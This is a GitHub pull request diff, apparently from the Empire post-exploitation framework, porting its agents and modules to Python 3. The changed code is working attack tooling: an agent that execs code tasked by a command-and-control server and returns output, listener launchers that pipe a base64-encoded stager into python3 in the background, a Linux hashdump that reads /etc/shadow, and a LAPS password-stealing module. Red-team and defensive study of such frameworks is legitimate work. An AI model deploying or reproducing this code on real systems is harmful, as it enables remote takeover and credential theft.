Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixes for python3 agents #184

Merged
merged 14 commits into from
Apr 24, 2020
19 changes: 9 additions & 10 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -133,7 +133,6 @@ def build_response_packet(taskingID, packetData, resultID=0):
| 2 | 2 | 2 | 2 | 4 | <Length> |
+------+--------------------+----------+---------+--------+-----------+
"""

packetType = struct.pack('=H', taskingID)
totalPacket = struct.pack('=H', 1)
packetNum = struct.pack('=H', 1)
Expand Down Expand Up @@ -187,8 +186,8 @@ def parse_task_packet(packet, offset=0):
packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0]
resultID = struct.unpack('=H', packet[6+offset:8+offset])[0]
length = struct.unpack('=L', packet[8+offset:12+offset])[0]
packetData = packet[12+offset:12+offset+length]
remainingData = packet[12+offset+length:]
packetData = packet[12+offset:12+offset+length].decode('UTF-8')
remainingData = packet[12+offset+length:].decode('UTF-8')

return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData)
except Exception as e:
Expand All @@ -203,8 +202,9 @@ def process_tasking(data):
try:
# aes_decrypt_and_verify is in stager.py
tasking = aes_decrypt_and_verify(key, data)

(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking)

# if we get to this point, we have a legit tasking so reset missedCheckins
missedCheckins = 0

Expand Down Expand Up @@ -382,8 +382,6 @@ def process_packet(packetType, data, resultID):
code_obj = compile(data, '<string>', 'exec')
exec(code_obj, globals())
sys.stdout = sys.__stdout__
code_obj = compile(data, '<string>', 'exec')
exec(code_obj, globals())
results = buffer.getvalue()
send_message(build_response_packet(100, str(results), resultID))
except Exception as e:
Expand All @@ -401,15 +399,16 @@ def process_packet(packetType, data, resultID):
code_obj = compile(data, '<string>', 'exec')
exec(code_obj, globals())
sys.stdout = sys.__stdout__
results = buffer.getvalue().encode('latin-1')
c = compress()
start_crc32 = c.crc32_data(buffer.getvalue())
comp_data = c.comp_data(buffer.getvalue())
start_crc32 = c.crc32_data(results)
comp_data = c.comp_data(results)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart)
encodedPart = base64.b64encode(encodedPart).decode('UTF-8')
send_message(build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID))
except Exception as e:
# Also return partial code that has been executed
errorData = str(buffer.getvalue())
errorData = buffer.getvalue()
send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID))

elif packetType == 102:
Expand Down
8 changes: 3 additions & 5 deletions data/agent/stagers/common/aes.py
Original file line number Diff line number Diff line change
Expand Up @@ -262,20 +262,19 @@ def decrypt(self, ciphertext):


def CBCenc(aesObj, plaintext, base64=False):

# First we pad the plaintext
paddedPlaintext = append_PKCS7_padding(plaintext)

# The we break the padded plaintext in 16 byte chunks
blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)]

# Finally we encypt each block
#ciphertext = ""
# Finally we encrypt each block
ciphertext = ("")
for block in blocks:
ciphertext = "".join([ciphertext, aesObj.encrypt(block)])
#ciphertext += aesObj.encrypt(block)

ciphertext = ciphertext.encode('latin-1')

return ciphertext


Expand Down Expand Up @@ -324,7 +323,6 @@ def aes_encrypt_then_hmac(key, data):
key = bytes(key, 'UTF-8')
if isinstance(data, str):
data = bytes(data, 'UTF-8')

data = aes_encrypt(key, data)
mac = hmac.new(key, data, digestmod=hashlib.sha256).digest()
return data + mac[0:10]
Expand Down
2 changes: 1 addition & 1 deletion data/agent/stagers/dropbox.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@
def post_message(uri, data):
global headers
req = urllib2.Request(uri)
for key, value in headers.iteritems():
for key, value in headers.items():
req.add_header("%s"%(key),"%s"%(value))

if data:
Expand Down
2 changes: 1 addition & 1 deletion lib/common/ShellcodeRDI.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/python
#!/usr/bin/python3
# Author: Nick Landers (@monogas)

import sys
Expand Down
7 changes: 5 additions & 2 deletions lib/common/agents.py
Original file line number Diff line number Diff line change
Expand Up @@ -356,7 +356,7 @@ def save_module_file(self, sessionID, path, data):
os.makedirs(save_path)

# save the file out
f = open(save_path + "/" + filename, 'wb')
f = open("%s/%s" % (save_path, filename), 'wb')

f.write(data)
f.close()
Expand Down Expand Up @@ -1751,13 +1751,16 @@ def process_agent_packet(self, sessionID, responseName, taskID, data):

if responseName == "ERROR":
# error code
message = "[!] Received error response from {}".format(sessionID)
message = "\n[!] Received error response from {}".format(sessionID)
signal = json.dumps({
'print': True,
'message': message
})
dispatcher.send(signal, sender="agents/{}".format(sessionID))
self.update_agent_results_db(sessionID, data)

if isinstance(data,bytes):
data = data.decode('UTF-8')
# update the agent log
self.save_agent_log(sessionID, "[!] Error response: " + data)

Expand Down
16 changes: 8 additions & 8 deletions lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -3079,7 +3079,7 @@ def do_lostlimit(self, line):

if lostLimit == "":
# task the agent to display the lostLimit
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)")
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print('lostLimit = ' + str(lostLimit))")

# dispatch this event
message = "[*] Tasked agent to display lost limit"
Expand All @@ -3095,7 +3095,7 @@ def do_lostlimit(self, line):
self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)

# task the agent with the new lostLimit
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit))
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print('lostLimit set to %s')"%(lostLimit, lostLimit))

# dispatch this event
message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
Expand All @@ -3119,7 +3119,7 @@ def do_killdate(self, line):
if killDate == "":

# task the agent to display the killdate
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)")
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print('killDate = ' + str(killDate))")

# dispatch this event
message = "[*] Tasked agent to display killDate"
Expand All @@ -3135,7 +3135,7 @@ def do_killdate(self, line):
self.mainMenu.agents.set_agent_field_db("kill_date", killDate, self.sessionID)

# task the agent with the new killDate
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print('killDate set to %s')" % (killDate, killDate))

# dispatch this event
message = "[*] Tasked agent to set killDate to {}".format(killDate)
Expand All @@ -3157,7 +3157,7 @@ def do_workinghours(self, line):
hours = parts[0]

if hours == "":
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)")
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print('workingHours = ' + str(workingHours))")

# dispatch this event
message = "[*] Tasked agent to get working hours"
Expand Down Expand Up @@ -3393,7 +3393,7 @@ def do_searchmodule(self, line):

def do_osx_screenshot(self, line):
"Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"

if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
module = self.mainMenu.modules.modules['python/collection/osx/native_screenshot']
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
Expand Down Expand Up @@ -3427,9 +3427,9 @@ def do_cat(self, line):
for line in f:
output += line

print output
print(output)
except Exception as e:
print str(e)
print(str(e))
""" % (line)
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd))
Expand Down
4 changes: 2 additions & 2 deletions lib/common/listeners.py
Original file line number Diff line number Diff line change
Expand Up @@ -75,8 +75,8 @@ def set_listener_option(self, listenerName, option, value):
Sets an option for the given listener module or all listener module.
"""

# for name, listener in self.listeners.iteritems():
# for listenerOption, optionValue in listener.options.iteritems():
# for name, listener in self.listeners.items():
# for listenerOption, optionValue in listener.options.items():
# if listenerOption == option:
# listener.options[option]['Value'] = str(value)

Expand Down
2 changes: 1 addition & 1 deletion lib/common/pylnk.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/python
#!/usr/bin/python3
#
# Python library for reading and writing Windows shortcut files (.lnk)
# Copyright 2011 Tim-Christian Mundt
Expand Down
4 changes: 2 additions & 2 deletions lib/listeners/dbx.py
Original file line number Diff line number Diff line change
Expand Up @@ -348,7 +348,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
return launcherBase
Expand Down Expand Up @@ -653,7 +653,7 @@ def send_message(packets=None):
def post_message(uri, data, headers):
req = urllib2.Request(uri)
headers['Authorization'] = "Bearer REPLACE_API_TOKEN"
for key, value in headers.iteritems():
for key, value in headers.items():
req.add_header("%s"%(key),"%s"%(value))

if data:
Expand Down
4 changes: 2 additions & 2 deletions lib/listeners/http.py
Original file line number Diff line number Diff line change
Expand Up @@ -532,7 +532,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8')
if isinstance(launchEncoded, bytes):
launchEncoded = launchEncoded.decode('UTF-8')
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python3 &" % (
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (
launchEncoded)
return launcher
else:
Expand Down Expand Up @@ -898,7 +898,7 @@ def send_message(packets=None):
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, data)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)

else:
# if we're GETing taskings, then build the routing packet to stuff info a cookie first.
# meta TASKING_REQUEST = 4
Expand Down
2 changes: 1 addition & 1 deletion lib/listeners/http_foreign.py
Original file line number Diff line number Diff line change
Expand Up @@ -331,7 +331,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
return launcherBase
Expand Down
2 changes: 1 addition & 1 deletion lib/listeners/http_hop.py
Original file line number Diff line number Diff line change
Expand Up @@ -302,7 +302,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

if encode:
launchEncoded = base64.b64encode(launcherBase).decode("UTF-8")
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
return launcherBase
Expand Down
2 changes: 1 addition & 1 deletion lib/listeners/redirector.py
Original file line number Diff line number Diff line change
Expand Up @@ -326,7 +326,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

if encode:
launchEncoded = base64.b64encode(launcherBase).decode("utf-8")
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
return launcherBase
Expand Down
2 changes: 1 addition & 1 deletion lib/modules/powershell/credentials/get_lapspasswords.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
try:
f = open(moduleSource, 'r')
except:
print (helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""
moduleCode = f.read()
f.close()
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
try:
f = open(moduleSource, 'r')
except:
print (helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""

moduleCode = f.read()
Expand Down
18 changes: 11 additions & 7 deletions lib/modules/python/collection/linux/hashdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ def __init__(self, mainMenu, params=[]):
'Language' : 'python',

# the minimum language version needed
'MinLanguageVersion' : '2.6',
'MinLanguageVersion' : '3.6',

# list of any references/other comments
'Comments': []
Expand Down Expand Up @@ -69,10 +69,6 @@ def __init__(self, mainMenu, params=[]):
def generate(self, obfuscate=False, obfuscationCommand=""):

script = """
f = open("/etc/passwd")
passwd = f.readlines()
f.close()

f2 = open("/etc/shadow")
shadow = f2.readlines()
f2.close()
Expand All @@ -84,12 +80,20 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
username, pwdhash = parts[0], parts[1]
users[username] = pwdhash

f = open("/etc/passwd")
passwd = f.readlines()
f.close()


for line in passwd:
parts = line.strip().split(":")
username = parts[0]
info = ":".join(parts[2:])
tmp = parts[2:]
info = ':'.join(tmp)
time.sleep(0.01)
if username in users:
print "%s:%s:%s" %(username, users[username], info)
time.sleep(0.01)
print("%s:%s:%s" %(username, users[username], info))
"""

return script
Loading